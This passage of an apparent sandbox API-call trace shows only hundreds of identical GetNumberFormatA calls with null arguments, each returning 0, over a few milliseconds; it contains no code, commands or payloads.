lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.425] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.426] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.427] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.428] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, 